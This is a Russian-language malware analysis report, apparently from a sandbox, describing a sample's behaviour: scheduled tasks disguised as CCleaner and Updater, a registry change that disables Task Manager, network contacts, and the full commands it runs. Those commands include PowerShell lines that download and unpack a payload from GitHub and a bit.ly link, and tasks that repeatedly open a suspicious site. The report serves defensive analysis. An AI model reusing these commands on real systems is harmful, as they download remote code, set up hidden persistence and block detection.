Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\ccleaner
- <SYSTEM32>\tasks\updater
- <SYSTEM32>\tasks\cleaner
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ixp000.tmp\ins.bat
- %TEMP%\install.bat
- nul
- %TEMP%\1s.txt
Удаляет файлы, которые сам же создал
- %TEMP%\ixp000.tmp\ins.bat
Сетевая активность
Подключается к
- 'bi#.ly':443
- 'pi##l.com':443
- 'x1.#.lencr.org':80
- 'gi##ub.com':443
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
Другие
- 'bi#.ly':443
- 'pi##l.com':443
- 'gi##ub.com':443
UDP
- DNS ASK bi#.ly
- DNS ASK pi##l.com
- DNS ASK x1.#.lencr.org
- DNS ASK gi##ub.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process '%TEMP%\install.bat' -Verb runAs -WindowStyle Hidden"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ins.bat (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"%ProgramFiles%\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
- '<SYSTEM32>\schtasks.exe' /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"%ProgramFiles%\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://bit.ly/4c7L8Zs' -UseBasicParsing >$null"
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\install.bat" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "Cleaner" /tr "%LOCALAPPDATA%\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:00
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://github.com/frielandrews892/File/releases/download/File/File.zip' -OutFile '%LOCALAPPDATA%\Corporation.zip'"
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
- '<SYSTEM32>\schtasks.exe' /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"%ProgramFiles%\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
- '<SYSTEM32>\schtasks.exe' /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"%ProgramFiles%\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Expand-Archive -Path '%LOCALAPPDATA%\Corporation.zip' -DestinationPath '%LOCALAPPDATA%\Corporation'"
- '<SYSTEM32>\schtasks.exe' /query /TN "Cleaner"
